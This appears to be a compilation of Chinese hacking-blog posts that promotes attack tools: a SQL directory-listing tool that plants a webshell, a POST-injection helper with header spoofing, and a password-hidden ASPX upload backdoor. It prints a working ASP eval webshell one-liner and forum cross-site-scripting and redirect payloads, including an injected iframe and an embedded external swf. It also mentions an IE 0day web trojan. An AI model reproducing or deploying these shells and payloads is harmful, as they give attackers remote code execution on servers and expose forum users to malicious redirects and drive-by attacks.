SQL_DIR 1.0 beat
来源：BIN-Blog
功能简介:
1.该程序主要针对非SA用户.
2.得到SQL账号密码,通过调用XP_dirtree扩展,对SQL数据库所在的服务器进行列目录操作.
3.即使没有建表的权限也可以使用该程序.
4.增加了自动备份SHELL的功能.
5.感谢Venomancer 提供的精神上的支持!smoke
注意：备份的SHELL是< %execute(request("B"))% >或者自行修改！
图片(1)
图片(2)
Posts
POST.NET
来源：BIN-Blog
写了一个WEB版的POST工具,可以向内网提交数据,其实在POST注入的时候发挥一定的效果!主要增加了对HTTP_X_FORWARDED_FOR 这个值的自定义提交.看着玩吧!
Up.aspx
来源：BIN-Blog
最近看见网上有人发了一个DIY.ASP的.net的版本，毕竟aspx的语法要求相对严谨，尽量减少代码的数量。
我也发一个上传的东东。其实可以完全做成C/S版的，不过感觉没什么必要。可以自定义文件名，用参数访问达到隐蔽的效果。没有做异常处理!
提示：访问的格式为 xxx.aspx?pass=bin
MSNNext 互助互爱
2007最新IE 0day 网马（图片的那个）
鬼仔注：这个东西最近炒的很热，css调用两个图片，但是不清楚原理。
据说原来卖到8W，不过现在好像到处都有了。
刚才在xiaoguang那里看到，转过来，他的这个加了个简单的加密。
来源：XG'Blog
怎么用？？
很简单 用记事本打开xg.htm现实内容如下：
跨站通杀漏洞:支持最新的phpwind等论坛.
信息来源：黑色技术小组
整理编辑：B.S.T
只要把后面的域名改成你所要跳转的域名就可以了...
支持wmv的论坛如下发帖:
[wmv=314,256,1]http://www.rootkit.com.cn/qq.swf?url=http://www.rootkit.com.cn[/wmv]
其他论坛跨站方法大家自己灵活运用了....
比如 mp3 wmv flash rm 等代码的支持格式都可以试一下
百度知道跨站
跨站代码：
：</title><iframe src=http://www.huaidan.org/ width=400 height=300></iframe>
效果：